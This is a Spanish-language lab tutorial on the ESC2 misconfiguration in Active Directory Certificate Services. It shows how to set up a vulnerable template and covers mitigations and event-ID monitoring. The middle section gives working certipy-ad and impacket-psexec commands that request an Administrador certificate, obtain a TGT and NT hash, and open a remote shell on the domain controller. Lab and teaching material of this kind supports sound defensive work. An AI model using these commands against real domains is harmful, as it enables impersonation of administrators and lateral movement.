ESC2

Introducción

En el último artículo de esta serie sobre AD CS, vimos cómo se puede usar ESC1 para obtener privilegios elevados en Active Directory. En esta publicación, explicaremos la explotación de certificados ESC2 en AD CS , donde un usuario con privilegios limitados puede solicitar un certificado de “Cualquier propósito”.

Cuando una plantilla de certificados incluye la EKU Any Purpose (OID 2.5.29.37.0) o no especifica ninguna Enhanced Key Usage, el certificado emitido puede utilizarse para cualquier finalidad: autenticación de cliente, autenticación de servidor, firma de código, cifrado de correo, etc.
Si la plantilla además permite que el solicitante provea el Subject/SAN en la solicitud (RSE), una plantilla vulnerable tipo ESC2 puede explotarse de forma muy parecida a ESC1: un usuario sin privilegios puede solicitar un certificado con un SAN/UPN que se haga pasar por otro principal (p. ej. Administrador@hacklab.thl) y usarlo para autenticación. En el caso contrario, si la plantilla no permite especificar SAN en la solicitud, la misma plantilla todavía puede servir como paso intermedio: puede entregarse un certificado que luego se utilice para solicitar (o firmar) otro certificado en nombre de cualquier usuario, dependiendo de permisos y flujos del CA.

Requisitos de abuso de ESC2

Para que una plantilla tipo ESC2 pueda abusarse exitosamente deben darse, al menos, estas condiciones:

1. La CA es una Enterprise CA y publica plantillas accesibles vía Active Directory.
2. Usuarios de bajo privilegio tienen permiso de Enroll sobre la plantilla (por ejemplo Authenticated Users o un grupo estándar).
3. No existe aprobación manual para las solicitudes (Approval step desactivado en el flujo de la CA).
4. No se requieren firmas adicionales ni roles especiales (p. ej. Enrollment Agent) para emitir el certificado.
5. El Subject/SAN puede ser aportado por el solicitante (“Supply in the request” habilitado), o existe otra vía para inyectar el UPN/DNS deseado en la solicitud.
6. La EKU de la plantilla es Any Purpose (OID 2.5.29.37.0) o la plantilla no define EKUs, de modo que el certificado funciona para múltiples usos (PKINIT, autenticación TLS cliente, firma, etc.).
7. El descriptor de seguridad (ACL) de la plantilla es demasiado permisivo, permitiendo lectura/inscripción a cuentas no privilegiadas.

Difícil de detectar con herramientas estándar

La emisión de certificados en AD CS puede ser silenciosa: no genera solicitudes de inicio de sesión visibles ni errores ruidosos, lo que permite a un atacante emitir certificados válidos y luego generar tickets Kerberos para moverse lateralmente sin activar las alertas habituales.

Los controles tradicionales (antivirus, reglas genéricas de SIEM) a menudo no detectan ESC2 a menos que estén configurados para identificar eventos concretos —por ejemplo, el Event ID 4887 y otras inscripciones de certificados atípicas o para correlacionar inscripciones con contexto de identidad y privilegios. En la práctica, ESC2 equivale a permitir que un atacante “se imprima” su propia credencial: el certificado parece legítimo, autentica correctamente y concede acceso que nunca fue autorizado.

En este post vamos a demostrar el problema en un ADCS mal configurado que permite a usuarios con pocos privilegios suplantar cuentas con altos permisos mediante plantillas de certificados inseguras (ESC2). También veremos cómo detectarlo y corregirlo para que no sea una vía silenciosa de escalada y movimiento lateral.

Creación de plantilla vulnerable (ESC2)

• Abrir Certificate Templates (certsrv MMC).

• Duplicar una plantilla (p.ej. User o Computer) → Duplicate Template.

• En la pestaña General: ponle un nombre, p.ej. ESC2.

• Request Handling / Subject Name: selecciona “Supply in the request” (esto permite que el solicitante ponga SAN/UPN).

• Extensions → Application Policies / Enhanced Key Usage (EKU):

  • Eliminar todas las EKU o añadir la EKU Any Purpose (2.5.29.37.0).

  

• Security: agrega Authenticated Users (o el grupo de bajo privilegio que quieras) y dale Read + Enroll (y opcionalmente Autoenroll si quieres automatizar pruebas).

• Guardás. Luego en la consola del CA: Certificate Templates → New → Certificate Template to Issue → seleccionás ESC2-AnyPurpose.

Con esto ya tenemos configurado el template vulnerable y publicado.

Enumeración y Explotación de ESC2 desde Linux

Certipy es una herramienta en Python pensada para enumerar y explotar AD CS: detecta plantillas vulnerables, solicita certificados en nombre de cuentas que tengan permiso, y facilita la conversión/uso de esos certificados para autenticación. En la práctica sirve para automatizar el flujo completo desde la enumeración hasta el abuso: identificar plantillas con permisos débiles, solicitar un certificado que permita autenticación de cliente (EKU: Client Authentication / Smartcard logon), convertir el par clave/certificado a formatos utilizables (p. ej. PFX) y luego usar ese PFX para obtener TGTs Kerberos, realizar DCSync o ejecutar ataques estilo Rubeus para movimiento lateral.

certipy-ad find -u 'bob@hacklab.thl' -p 'Password123' -dc-ip 192.168.56.10 -stdout -vulnerable -enabled

Solicitud de certificado con SAN alternativo - Administrador

certipy-ad req -u 'bob@hacklab.thl' -p 'Password123' -dc-ip 192.168.56.10 -ca hacklab-HACKLAB-CA -template ESC2 -upn Administrador

Autenticación de certificado

Los comandos anteriores crean un archivo de certificado llamado administrador.pfx, podemos usar ese certificado para autenticarnos como Administrador:

certipy-ad auth -pfx administrador.pfx -username administrador -domain hacklab.thl -dc-ip 192.168.56.10

Para autenticarnos, podemos utilizar el TGT guardado en administrador.ccache. Además, certipy-ad también recupera el hash NT de la cuenta Administrador utilizando la información de la solicitud de certificado. Usemos el TGT para ejecutar impacket-psexec:

KRB5CCNAME=administrador.ccache impacket-psexec -k -no-pass HACKLAB.hacklab.thl

También podemos conectarnos utlizando el NT Hash del usuario Administrador usando herramientas como evil-winrm-py.

Mitigaciones

• No darle Enroll a Authenticated Users en templates sensibles.
• Evitar plantillas con Any Purpose salvo que sea necesario.
• Deshabilitar Enrollee supplies subject salvo en casos controlados.
• Monitorizar requests de certificados anómalos y habilitar alertas de CA.
• Eliminar la bandera ENROLLEE_SUPPLIES_SUBJECT del certificado.
• Requerir que el certificado sea aprobado manualmente.
• Requerir firmas autorizadas.
• Supervisar la actividad de los certificados. Estar atento a los ID de evento 4886 (solicitud) y 4887 (emisión) en los registros de seguridad.